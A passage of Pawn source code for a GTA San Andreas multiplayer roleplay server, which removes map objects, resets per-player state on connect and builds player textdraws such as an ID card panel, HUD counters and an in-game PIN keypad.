RemoveBuildingForPlayer(playerid, 2744, 1721.6172, -1655.6641, 21.6641, 0.25);
//----
// Forbidden
RemoveBuildingForPlayer(playerid, 6363, 428.1016, -1348.8125, 29.2578, 0.25);
RemoveBuildingForPlayer(playerid, 7342, 2320.4609, 2128.8047, 35.4375, 0.25);
RemoveBuildingForPlayer(playerid, 7392, 2320.4609, 2128.8047, 35.4375, 0.25);
// ----------
// Box mapping remove
RemoveBuildingForPlayer(playerid, 717, 1372.5859, -1152.3203, 22.9453, 0.25);
RemoveBuildingForPlayer(playerid, 1215, 1372.6328, -1153.4219, 23.3594, 0.25);
//---
RemoveBuildingForPlayer(playerid, 956, 1634.1094, -2237.5313, 12.8906, 0.25);
// NationalGuard HQ RemoveBuilding
RemoveBuildingForPlayer(playerid, 1411, 347.1953, 1799.2656, 18.7578, 0.25);
RemoveBuildingForPlayer(playerid, 1411, 342.9375, 1796.2891, 18.7578, 0.25);
RemoveBuildingForPlayer(playerid, 16670, 330.7891, 1813.2188, 17.8281, 0.25);
RemoveBuildingForPlayer(playerid, 16094, 191.1406, 1870.0391, 21.4766, 0.25);
RemoveBuildingForPlayer(playerid, 16671, 193.9531, 2051.7969, 20.1797, 0.25);
RemoveBuildingForPlayer(playerid, 16668, 357.9375, 2049.4219, 16.8438, 0.25);
RemoveBuildingForPlayer(playerid, 16669, 380.2578, 1914.9609, 17.4297, 0.25);
	activetime[playerid] = 0;
	hitmanord[playerid] = 0;
	//psday1[playerid] = 0;
	//phday1[playerid] = 0;
	hstrm[playerid] = 0;
	adminwp[playerid] = 1;
	siyoma[playerid] = 0;
	onnlogin[playerid] = 0;
	staffget[playerid] = 0;
	sleepgod[playerid] = 0;
	sleepee[playerid] = 0;
	myaddade[playerid] = 0;
	TrueTeleport[playerid] = 0;
	ragoto[playerid] = 0;
	Reside[playerid] = 0;
	RemovePlayerAttachedObject(playerid, 3);
	HeadphoneData[playerid][Sound] = false;
	HeadphoneData[playerid][HasHeadphones] = false;
	Raft[playerid] = 0;
	anticheat[playerid] = 1;
	flycheat[playerid] = 0;
	BereJahanam[playerid] = 0;
	Desync[playerid]=false;
	Multiye[playerid]=false;
	for(new i=0;i<MAX_PLAYERS;i++)Selected[playerid][i]=-1;
	for(new i=0;i<MAX_PLAYERS;i++)Selectedx[playerid][i]=-1;
	Selected2[playerid]=-1;
	Selected2x[playerid]=-1;
	new playersip[100];
	GetPlayerIp(playerid,playersip,100);
	new chandacc = GetNumberOfPlayersOnThisIP(playersip);
	if(chandacc>=2)
	{
		Multiye[playerid]=true;
	}

TuningPTD[playerid][0] = CreatePlayerTextDraw(playerid, 108.750000, 83.833320, "");
PlayerTextDrawLetterSize(playerid, TuningPTD[playerid][0], 0.000000, 0.000000);
PlayerTextDrawTextSize(playerid, TuningPTD[playerid][0], 89.000000, 123.000000);
PlayerTextDrawAlignment(playerid, TuningPTD[playerid][0], 1);
PlayerTextDrawColor(playerid, TuningPTD[playerid][0], -1);
PlayerTextDrawSetShadow(playerid, TuningPTD[playerid][0], 0);
PlayerTextDrawSetOutline(playerid, TuningPTD[playerid][0], 0);
PlayerTextDrawBackgroundColor(playerid, TuningPTD[playerid][0], -256);
PlayerTextDrawFont(playerid, TuningPTD[playerid][0], 5);
PlayerTextDrawSetProportional(playerid, TuningPTD[playerid][0], 0);
PlayerTextDrawSetShadow(playerid, TuningPTD[playerid][0], 0);
PlayerTextDrawSetPreviewModel(playerid, TuningPTD[playerid][0], 560);
PlayerTextDrawSetPreviewRot(playerid, TuningPTD[playerid][0], 0.000000, 0.000000, -30.000000, 1.000000);
PlayerTextDrawSetPreviewVehCol(playerid, TuningPTD[playerid][0], 1, 1);

NCPlayer[playerid][0] = CreatePlayerTextDraw(playerid, 263.125000, 295.583312, "Level: 1");
PlayerTextDrawLetterSize(playerid, NCPlayer[playerid][0], 0.300624, 1.057499);
PlayerTextDrawAlignment(playerid, NCPlayer[playerid][0], 1);
PlayerTextDrawColor(playerid, NCPlayer[playerid][0], -1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][0], 0);
PlayerTextDrawSetOutline(playerid, NCPlayer[playerid][0], 0);
PlayerTextDrawBackgroundColor(playerid, NCPlayer[playerid][0], 255);
PlayerTextDrawFont(playerid, NCPlayer[playerid][0], 1);
PlayerTextDrawSetProportional(playerid, NCPlayer[playerid][0], 1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][0], 0);

NCPlayer[playerid][1] = CreatePlayerTextDraw(playerid, 263.750000, 307.833190, "Registered Date: 2020/03/05");
PlayerTextDrawLetterSize(playerid, NCPlayer[playerid][1], 0.231874, 1.279166);
PlayerTextDrawAlignment(playerid, NCPlayer[playerid][1], 1);
PlayerTextDrawColor(playerid, NCPlayer[playerid][1], -1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][1], 0);
PlayerTextDrawSetOutline(playerid, NCPlayer[playerid][1], 0);
PlayerTextDrawBackgroundColor(playerid, NCPlayer[playerid][1], 255);
PlayerTextDrawFont(playerid, NCPlayer[playerid][1], 1);
PlayerTextDrawSetProportional(playerid, NCPlayer[playerid][1], 1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][1], 0);

NCPlayer[playerid][2] = CreatePlayerTextDraw(playerid, 263.750000, 321.833282, "Card Number: 098-6473490768");
PlayerTextDrawLetterSize(playerid, NCPlayer[playerid][2], 0.255624, 1.133333);
PlayerTextDrawAlignment(playerid, NCPlayer[playerid][2], 1);
PlayerTextDrawColor(playerid, NCPlayer[playerid][2], -1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][2], 0);
PlayerTextDrawSetOutline(playerid, NCPlayer[playerid][2], 0);
PlayerTextDrawBackgroundColor(playerid, NCPlayer[playerid][2], 255);
PlayerTextDrawFont(playerid, NCPlayer[playerid][2], 1);
PlayerTextDrawSetProportional(playerid, NCPlayer[playerid][2], 1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][2], 0);

NCPlayer[playerid][3] = CreatePlayerTextDraw(playerid, 264.375000, 335.250061, "Phone Number: 123-4567");
PlayerTextDrawLetterSize(playerid, NCPlayer[playerid][3], 0.264374, 1.109999);
PlayerTextDrawAlignment(playerid, NCPlayer[playerid][3], 1);
PlayerTextDrawColor(playerid, NCPlayer[playerid][3], -1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][3], 0);
PlayerTextDrawSetOutline(playerid, NCPlayer[playerid][3], 0);
PlayerTextDrawBackgroundColor(playerid, NCPlayer[playerid][3], 255);
PlayerTextDrawFont(playerid, NCPlayer[playerid][3], 1);
PlayerTextDrawSetProportional(playerid, NCPlayer[playerid][3], 1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][3], 0);

NCPlayer[playerid][4] = CreatePlayerTextDraw(playerid, 264.375000, 349.249969, "Sex: Male");
PlayerTextDrawLetterSize(playerid, NCPlayer[playerid][4], 0.286874, 1.057500);
PlayerTextDrawAlignment(playerid, NCPlayer[playerid][4], 1);
PlayerTextDrawColor(playerid, NCPlayer[playerid][4], -1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][4], 0);
PlayerTextDrawSetOutline(playerid, NCPlayer[playerid][4], 0);
PlayerTextDrawBackgroundColor(playerid, NCPlayer[playerid][4], 255);
PlayerTextDrawFont(playerid, NCPlayer[playerid][4], 1);
PlayerTextDrawSetProportional(playerid, NCPlayer[playerid][4], 1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][4], 0);

NCPlayer[playerid][5] = CreatePlayerTextDraw(playerid, 187.500000, 277.499938, "");
PlayerTextDrawLetterSize(playerid, NCPlayer[playerid][5], 0.000000, 0.000000);
PlayerTextDrawTextSize(playerid, NCPlayer[playerid][5], 90.000000, 90.000000);
PlayerTextDrawAlignment(playerid, NCPlayer[playerid][5], 1);
PlayerTextDrawColor(playerid, NCPlayer[playerid][5], -1);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][5], 0);
PlayerTextDrawSetOutline(playerid, NCPlayer[playerid][5], 0);
PlayerTextDrawBackgroundColor(playerid, NCPlayer[playerid][5], 0);
PlayerTextDrawFont(playerid, NCPlayer[playerid][5], 5);
PlayerTextDrawSetProportional(playerid, NCPlayer[playerid][5], 0);
PlayerTextDrawSetShadow(playerid, NCPlayer[playerid][5], 0);
PlayerTextDrawSetPreviewModel(playerid, NCPlayer[playerid][5], 0);
PlayerTextDrawSetPreviewRot(playerid, NCPlayer[playerid][5], 0.000000, 0.000000, 0.000000, 1.000000);

	PaintKills[playerid] = CreatePlayerTextDraw(playerid, 494.375000, 180.666656, "Kills___________0");
	PlayerTextDrawLetterSize(playerid, PaintKills[playerid], 0.400000, 1.600000);
	PlayerTextDrawAlignment(playerid, PaintKills[playerid], 1);
	PlayerTextDrawColor(playerid, PaintKills[playerid], -1);
	PlayerTextDrawSetShadow(playerid, PaintKills[playerid], 1);
	PlayerTextDrawSetOutline(playerid, PaintKills[playerid], 0);
	PlayerTextDrawBackgroundColor(playerid, PaintKills[playerid], 255);
	PlayerTextDrawFont(playerid, PaintKills[playerid], 3);
	PlayerTextDrawSetProportional(playerid, PaintKills[playerid], 1);
	PlayerTextDrawSetShadow(playerid, PaintKills[playerid], 1);

	PaintDeath[playerid] = CreatePlayerTextDraw(playerid, 492.500000, 202.250015, "Death__________0");
	PlayerTextDrawLetterSize(playerid, PaintDeath[playerid], 0.400000, 1.600000);
	PlayerTextDrawAlignment(playerid, PaintDeath[playerid], 1);
	PlayerTextDrawColor(playerid, PaintDeath[playerid], -1);
	PlayerTextDrawSetShadow(playerid, PaintDeath[playerid], 1);
	PlayerTextDrawSetOutline(playerid, PaintDeath[playerid], 0);
	PlayerTextDrawBackgroundColor(playerid, PaintDeath[playerid], 255);
	PlayerTextDrawFont(playerid, PaintDeath[playerid], 3);
	PlayerTextDrawSetProportional(playerid, PaintDeath[playerid], 1);
	PlayerTextDrawSetShadow(playerid, PaintDeath[playerid], 1);

	FPS[playerid] = CreatePlayerTextDraw(playerid, 628.333008,0.429640, "~g~60");
	PlayerTextDrawSetShadow(playerid, FPS[playerid], 0);
	PlayerTextDrawSetProportional(playerid, FPS[playerid], 1);
	PlayerTextDrawTextSize(playerid, FPS[playerid], 1280.000000, 1280.000000);
	PlayerTextDrawLetterSize(playerid, FPS[playerid], 0.232333, 1.446517);
	PlayerTextDrawFont(playerid, FPS[playerid], 2);
	PlayerTextDrawAlignment(playerid, FPS[playerid], 2);
	PlayerTextDrawSetOutline(playerid, FPS[playerid], 1);
	// FPS by Sina

	HP_TD[playerid] = CreatePlayerTextDraw(playerid, 577.125244,67.899940,"100.00");
	PlayerTextDrawSetProportional(playerid, HP_TD[playerid], 1);
	PlayerTextDrawAlignment(playerid, HP_TD[playerid], 2);
	PlayerTextDrawTextSize(playerid, HP_TD[playerid], 0.000000, 59.000000);
	PlayerTextDrawFont(playerid, HP_TD[playerid], 2);
	PlayerTextDrawLetterSize(playerid, HP_TD[playerid], 0.156562 , 0.639444);
	PlayerTextDrawSetOutline(playerid, HP_TD[playerid], 0);
	PlayerTextDrawSetShadow(playerid, HP_TD[playerid], 0);
	PlayerTextDrawSetProportional(playerid, HP_TD[playerid], 1);
	PlayerTextDrawColor(playerid, HP_TD[playerid], 0xFFCC00AA);

	WantedTTD[playerid] = CreatePlayerTextDraw(playerid, 500.000000, 11.500004, "W Time: 15 Min");
    PlayerTextDrawLetterSize(playerid, WantedTTD[playerid], 0.160625, 1.308332);
    PlayerTextDrawAlignment(playerid, WantedTTD[playerid], 1);
    PlayerTextDrawColor(playerid, WantedTTD[playerid], -1);
    PlayerTextDrawSetShadow(playerid, WantedTTD[playerid], 0);
    PlayerTextDrawSetOutline(playerid, WantedTTD[playerid], 1);
    PlayerTextDrawBackgroundColor(playerid, WantedTTD[playerid], 255);
    PlayerTextDrawFont(playerid, WantedTTD[playerid], 1);
    PlayerTextDrawSetProportional(playerid, WantedTTD[playerid], 1);
    PlayerTextDrawSetShadow(playerid, WantedTTD[playerid], 0);

    GPSS[playerid] = CreatePlayerTextDraw(playerid, 40.875000, 426.250061, "Identifying location");
    PlayerTextDrawLetterSize(playerid, GPSS[playerid], 0.388749, 1.798332);
    PlayerTextDrawAlignment(playerid, GPSS[playerid], 1);
    PlayerTextDrawColor(playerid, GPSS[playerid], -1);
    PlayerTextDrawSetShadow(playerid, GPSS[playerid], 1);
    PlayerTextDrawSetOutline(playerid, GPSS[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, GPSS[playerid], 255);
    PlayerTextDrawFont(playerid, GPSS[playerid], 1);
    PlayerTextDrawSetProportional(playerid, GPSS[playerid], 1);
    PlayerTextDrawSetShadow(playerid, GPSS[playerid], 1);

    PINBox1[playerid] = CreatePlayerTextDraw(playerid, 374.375000, 166.083343, "box");
    PlayerTextDrawLetterSize(playerid, PINBox1[playerid], 0.000000, 16.812500);
    PlayerTextDrawTextSize(playerid, PINBox1[playerid], 461.000000, 0.000000);
    PlayerTextDrawAlignment(playerid, PINBox1[playerid], 1);
    PlayerTextDrawColor(playerid, PINBox1[playerid], -1);
    PlayerTextDrawUseBox(playerid, PINBox1[playerid], 1);
    PlayerTextDrawBoxColor(playerid, PINBox1[playerid], 714);
    PlayerTextDrawSetShadow(playerid, PINBox1[playerid], 0);
    PlayerTextDrawSetOutline(playerid, PINBox1[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINBox1[playerid], 255);
    PlayerTextDrawFont(playerid, PINBox1[playerid], 1);
    PlayerTextDrawSetProportional(playerid, PINBox1[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINBox1[playerid], 0);

    PINBox2[playerid] = CreatePlayerTextDraw(playerid, 382.500000, 172.499969, "box");
    PlayerTextDrawLetterSize(playerid, PINBox2[playerid], 0.000000, 2.000000);
    PlayerTextDrawTextSize(playerid, PINBox2[playerid], 451.000000, 0.000000);
    PlayerTextDrawAlignment(playerid, PINBox2[playerid], 1);
    PlayerTextDrawColor(playerid, PINBox2[playerid], -1);
    PlayerTextDrawUseBox(playerid, PINBox2[playerid], 1);
    PlayerTextDrawBoxColor(playerid, PINBox2[playerid], 572662986);
    PlayerTextDrawSetShadow(playerid, PINBox2[playerid], 0);
    PlayerTextDrawSetOutline(playerid, PINBox2[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINBox2[playerid], 255);
    PlayerTextDrawFont(playerid, PINBox2[playerid], 1);
    PlayerTextDrawSetProportional(playerid, PINBox2[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINBox2[playerid], 0);

    PINBox3[playerid] = CreatePlayerTextDraw(playerid, 374.375000, 198.750000, "box");
    PlayerTextDrawLetterSize(playerid, PINBox3[playerid], 0.000000, -0.250000);
    PlayerTextDrawTextSize(playerid, PINBox3[playerid], 461.000000, 0.000000);
    PlayerTextDrawAlignment(playerid, PINBox3[playerid], 1);
    PlayerTextDrawColor(playerid, PINBox3[playerid], -1);
    PlayerTextDrawUseBox(playerid, PINBox3[playerid], 1);
    PlayerTextDrawBoxColor(playerid, PINBox3[playerid], 858994122);
    PlayerTextDrawSetShadow(playerid, PINBox3[playerid], 0);
    PlayerTextDrawSetOutline(playerid, PINBox3[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINBox3[playerid], 255);
    PlayerTextDrawFont(playerid, PINBox3[playerid], 1);
    PlayerTextDrawSetProportional(playerid, PINBox3[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINBox3[playerid], 0);

    Dayere1z[playerid] = CreatePlayerTextDraw(playerid, 373.750000, 198.750015, "Ld_Beat:chit");
    PlayerTextDrawLetterSize(playerid, Dayere1z[playerid], 0.000000, 0.000000);
    PlayerTextDrawTextSize(playerid, Dayere1z[playerid], 29.000000, 30.000000);
    PlayerTextDrawAlignment(playerid, Dayere1z[playerid], 1);
    PlayerTextDrawColor(playerid, Dayere1z[playerid], 1145325258);
    PlayerTextDrawSetShadow(playerid, Dayere1z[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Dayere1z[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Dayere1z[playerid], 255);
    PlayerTextDrawFont(playerid, Dayere1z[playerid], 4);
    PlayerTextDrawSetProportional(playerid, Dayere1z[playerid], 0);
    PlayerTextDrawSetShadow(playerid, Dayere1z[playerid], 0);

    Dayere2z[playerid] = CreatePlayerTextDraw(playerid, 400.625000, 198.750015, "Ld_Beat:chit");
    PlayerTextDrawLetterSize(playerid, Dayere2z[playerid], 0.000000, 0.000000);
    PlayerTextDrawTextSize(playerid, Dayere2z[playerid], 29.000000, 30.000000);
    PlayerTextDrawAlignment(playerid, Dayere2z[playerid], 1);
    PlayerTextDrawColor(playerid, Dayere2z[playerid], 1145325258);
    PlayerTextDrawSetShadow(playerid, Dayere2z[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Dayere2z[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Dayere2z[playerid], 255);
    PlayerTextDrawFont(playerid, Dayere2z[playerid], 4);
    PlayerTextDrawSetProportional(playerid, Dayere2z[playerid], 0);
    PlayerTextDrawSetShadow(playerid, Dayere2z[playerid], 0);

    Dayere3z[playerid] = CreatePlayerTextDraw(playerid, 428.125000, 198.749969, "Ld_Beat:chit");
    PlayerTextDrawLetterSize(playerid, Dayere3z[playerid], 0.000000, 0.000000);
    PlayerTextDrawTextSize(playerid, Dayere3z[playerid], 29.000000, 30.000000);
    PlayerTextDrawAlignment(playerid, Dayere3z[playerid], 1);
    PlayerTextDrawColor(playerid, Dayere3z[playerid], 1145325258);
    PlayerTextDrawSetShadow(playerid, Dayere3z[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Dayere3z[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Dayere3z[playerid], 255);
    PlayerTextDrawFont(playerid, Dayere3z[playerid], 4);
    PlayerTextDrawSetProportional(playerid, Dayere3z[playerid], 0);
    PlayerTextDrawSetShadow(playerid, Dayere3z[playerid], 0);

    Dayere4z[playerid] = CreatePlayerTextDraw(playerid, 374.375000, 226.749923, "Ld_Beat:chit");
    PlayerTextDrawLetterSize(playerid, Dayere4z[playerid], 0.000000, 0.000000);
    PlayerTextDrawTextSize(playerid, Dayere4z[playerid], 29.000000, 30.000000);
    PlayerTextDrawAlignment(playerid, Dayere4z[playerid], 1);
    PlayerTextDrawColor(playerid, Dayere4z[playerid], 1145325258);
    PlayerTextDrawSetShadow(playerid, Dayere4z[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Dayere4z[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Dayere4z[playerid], 255);
    PlayerTextDrawFont(playerid, Dayere4z[playerid], 4);
    PlayerTextDrawSetProportional(playerid, Dayere4z[playerid], 0);
    PlayerTextDrawSetShadow(playerid, Dayere4z[playerid], 0);

    Dayere5z[playerid] = CreatePlayerTextDraw(playerid, 400.625000, 225.583267, "Ld_Beat:chit");
    PlayerTextDrawLetterSize(playerid, Dayere5z[playerid], 0.000000, 0.000000);
    PlayerTextDrawTextSize(playerid, Dayere5z[playerid], 29.000000, 30.000000);
    PlayerTextDrawAlignment(playerid, Dayere5z[playerid], 1);
    PlayerTextDrawColor(playerid, Dayere5z[playerid], 1145325258);
    PlayerTextDrawSetShadow(playerid, Dayere5z[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Dayere5z[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Dayere5z[playerid], 255);
    PlayerTextDrawFont(playerid, Dayere5z[playerid], 4);
    PlayerTextDrawSetProportional(playerid, Dayere5z[playerid], 0);
    PlayerTextDrawSetShadow(playerid, Dayere5z[playerid], 0);

    Dayere6z[playerid] = CreatePlayerTextDraw(playerid, 428.125000, 225.583236, "Ld_Beat:chit");
    PlayerTextDrawLetterSize(playerid, Dayere6z[playerid], 0.000000, 0.000000);
    PlayerTextDrawTextSize(playerid, Dayere6z[playerid], 29.000000, 30.000000);
    PlayerTextDrawAlignment(playerid, Dayere6z[playerid], 1);
    PlayerTextDrawColor(playerid, Dayere6z[playerid], 1145325258);
    PlayerTextDrawSetShadow(playerid, Dayere6z[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Dayere6z[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Dayere6z[playerid], 255);
    PlayerTextDrawFont(playerid, Dayere6z[playerid], 4);
    PlayerTextDrawSetProportional(playerid, Dayere6z[playerid], 0);
    PlayerTextDrawSetShadow(playerid, Dayere6z[playerid], 0);

    Dayere7z[playerid] = CreatePlayerTextDraw(playerid, 375.625000, 255.333251, "Ld_Beat:chit");
    PlayerTextDrawLetterSize(playerid, Dayere7z[playerid], 0.000000, 0.000000);
    PlayerTextDrawTextSize(playerid, Dayere7z[playerid], 29.000000, 30.000000);
    PlayerTextDrawAlignment(playerid, Dayere7z[playerid], 1);
    PlayerTextDrawColor(playerid, Dayere7z[playerid], 1145325258);
    PlayerTextDrawSetShadow(playerid, Dayere7z[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Dayere7z[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Dayere7z[playerid], 255);
    PlayerTextDrawFont(playerid, Dayere7z[playerid], 4);
    PlayerTextDrawSetProportional(playerid, Dayere7z[playerid], 0);
    PlayerTextDrawSetShadow(playerid, Dayere7z[playerid], 0);

    Dayere8z[playerid] = CreatePlayerTextDraw(playerid, 402.500000, 254.749923, "Ld_Beat:chit");
    PlayerTextDrawLetterSize(playerid, Dayere8z[playerid], 0.000000, 0.000000);
    PlayerTextDrawTextSize(playerid, Dayere8z[playerid], 29.000000, 30.000000);
    PlayerTextDrawAlignment(playerid, Dayere8z[playerid], 1);
    PlayerTextDrawColor(playerid, Dayere8z[playerid], 1145325258);
    PlayerTextDrawSetShadow(playerid, Dayere8z[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Dayere8z[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Dayere8z[playerid], 255);
    PlayerTextDrawFont(playerid, Dayere8z[playerid], 4);
    PlayerTextDrawSetProportional(playerid, Dayere8z[playerid], 0);
    PlayerTextDrawSetShadow(playerid, Dayere8z[playerid], 0);

    Dayere9z[playerid] = CreatePlayerTextDraw(playerid, 428.750000, 254.749923, "Ld_Beat:chit");
    PlayerTextDrawLetterSize(playerid, Dayere9z[playerid], 0.000000, 0.000000);
    PlayerTextDrawTextSize(playerid, Dayere9z[playerid], 29.000000, 30.000000);
    PlayerTextDrawAlignment(playerid, Dayere9z[playerid], 1);
    PlayerTextDrawColor(playerid, Dayere9z[playerid], 1145325258);
    PlayerTextDrawSetShadow(playerid, Dayere9z[playerid], 0);
    PlayerTextDrawSetOutline(playerid, Dayere9z[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, Dayere9z[playerid], 255);
    PlayerTextDrawFont(playerid, Dayere9z[playerid], 4);
    PlayerTextDrawSetProportional(playerid, Dayere9z[playerid], 0);
    PlayerTextDrawSetShadow(playerid, Dayere9z[playerid], 0);

    PINBox4[playerid] = CreatePlayerTextDraw(playerid, 376.875000, 289.749969, "box");
    PlayerTextDrawLetterSize(playerid, PINBox4[playerid], 0.000000, 2.812500);
    PlayerTextDrawTextSize(playerid, PINBox4[playerid], 398.000000, 0.000000);
    PlayerTextDrawAlignment(playerid, PINBox4[playerid], 1);
    PlayerTextDrawColor(playerid, PINBox4[playerid], -1);
    PlayerTextDrawUseBox(playerid, PINBox4[playerid], 1);
    PlayerTextDrawBoxColor(playerid, PINBox4[playerid], 52363978);
    PlayerTextDrawSetShadow(playerid, PINBox4[playerid], 0);
    PlayerTextDrawSetOutline(playerid, PINBox4[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINBox4[playerid], 255);
    PlayerTextDrawFont(playerid, PINBox4[playerid], 1);
    PlayerTextDrawSetProportional(playerid, PINBox4[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINBox4[playerid], 0);

    PINBox5[playerid] = CreatePlayerTextDraw(playerid, 437.500000, 289.750030, "box");
    PlayerTextDrawLetterSize(playerid, PINBox5[playerid], 0.000000, 2.812500);
    PlayerTextDrawTextSize(playerid, PINBox5[playerid], 458.000000, 0.000000);
    PlayerTextDrawAlignment(playerid, PINBox5[playerid], 1);
    PlayerTextDrawColor(playerid, PINBox5[playerid], -1);
    PlayerTextDrawUseBox(playerid, PINBox5[playerid], 1);
    PlayerTextDrawBoxColor(playerid, PINBox5[playerid], 520094410);
    PlayerTextDrawSetShadow(playerid, PINBox5[playerid], 0);
    PlayerTextDrawSetOutline(playerid, PINBox5[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINBox5[playerid], 255);
    PlayerTextDrawFont(playerid, PINBox5[playerid], 1);
    PlayerTextDrawSetProportional(playerid, PINBox5[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINBox5[playerid], 0);

    EnterCode[playerid] = CreatePlayerTextDraw(playerid, 415.000000, 173.666625, "_");//Code inja mire
    PlayerTextDrawLetterSize(playerid, EnterCode[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, EnterCode[playerid], 2);
    PlayerTextDrawColor(playerid, EnterCode[playerid], -1);
    PlayerTextDrawSetShadow(playerid, EnterCode[playerid], 1);
    PlayerTextDrawSetOutline(playerid, EnterCode[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, EnterCode[playerid], 255);
    PlayerTextDrawFont(playerid, EnterCode[playerid], 2);
    PlayerTextDrawSetProportional(playerid, EnterCode[playerid], 1);
    PlayerTextDrawSetShadow(playerid, EnterCode[playerid], 1);

    PINNum1[playerid] = CreatePlayerTextDraw(playerid, 385.000000, 205.166656, "1");
    PlayerTextDrawLetterSize(playerid, PINNum1[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, PINNum1[playerid], 1);
    PlayerTextDrawColor(playerid, PINNum1[playerid], -1717986358);
    PlayerTextDrawSetShadow(playerid, PINNum1[playerid], 1);
    PlayerTextDrawSetOutline(playerid, PINNum1[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINNum1[playerid], 255);
    PlayerTextDrawFont(playerid, PINNum1[playerid], 3);
    PlayerTextDrawSetProportional(playerid, PINNum1[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINNum1[playerid], 1);
    PlayerTextDrawTextSize(playerid, PINNum1[playerid], 390.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, PINNum1[playerid], true);

    PINNum2[playerid] = CreatePlayerTextDraw(playerid, 411.250000, 205.166656, "2");
    PlayerTextDrawLetterSize(playerid, PINNum2[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, PINNum2[playerid], 1);
    PlayerTextDrawColor(playerid, PINNum2[playerid], -1717986358);
    PlayerTextDrawSetShadow(playerid, PINNum2[playerid], 1);
    PlayerTextDrawSetOutline(playerid, PINNum2[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINNum2[playerid], 255);
    PlayerTextDrawFont(playerid, PINNum2[playerid], 3);
    PlayerTextDrawSetProportional(playerid, PINNum2[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINNum2[playerid], 1);
    PlayerTextDrawTextSize(playerid, PINNum2[playerid], 416.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, PINNum2[playerid], true);

    PINNum3[playerid] = CreatePlayerTextDraw(playerid, 439.375000, 205.166656, "3");
    PlayerTextDrawLetterSize(playerid, PINNum3[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, PINNum3[playerid], 1);
    PlayerTextDrawColor(playerid, PINNum3[playerid], -1717986358);
    PlayerTextDrawSetShadow(playerid, PINNum3[playerid], 1);
    PlayerTextDrawSetOutline(playerid, PINNum3[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINNum3[playerid], 255);
    PlayerTextDrawFont(playerid, PINNum3[playerid], 3);
    PlayerTextDrawSetProportional(playerid, PINNum3[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINNum3[playerid], 1);
    PlayerTextDrawTextSize(playerid, PINNum3[playerid], 444.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, PINNum3[playerid], true);

    PINNum4[playerid] = CreatePlayerTextDraw(playerid, 385.000000, 233.166656, "4");
    PlayerTextDrawLetterSize(playerid, PINNum4[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, PINNum4[playerid], 1);
    PlayerTextDrawColor(playerid, PINNum4[playerid], -1717986358);
    PlayerTextDrawSetShadow(playerid, PINNum4[playerid], 1);
    PlayerTextDrawSetOutline(playerid, PINNum4[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINNum4[playerid], 255);
    PlayerTextDrawFont(playerid, PINNum4[playerid], 3);
    PlayerTextDrawSetProportional(playerid, PINNum4[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINNum4[playerid], 1);
    PlayerTextDrawTextSize(playerid, PINNum4[playerid], 390.0, 15.0);
    PlayerTextDrawSetSelectable(playerid, PINNum4[playerid], true);

    PINNum5[playerid] = CreatePlayerTextDraw(playerid, 411.250000, 232.583328, "5");
    PlayerTextDrawLetterSize(playerid, PINNum5[playerid], 0.400000, 1.600000);
    PlayerTextDrawAlignment(playerid, PINNum5[playerid], 1);
    PlayerTextDrawColor(playerid, PINNum5[playerid], -1717986358);
    PlayerTextDrawSetShadow(playerid, PINNum5[playerid], 1);
    PlayerTextDrawSetOutline(playerid, PINNum5[playerid], 0);
    PlayerTextDrawBackgroundColor(playerid, PINNum5[playerid], 255);
    PlayerTextDrawFont(playerid, PINNum5[playerid], 3);
    PlayerTextDrawSetProportional(playerid, PINNum5[playerid], 1);
    PlayerTextDrawSetShadow(playerid, PINNum5[playerid], 1);
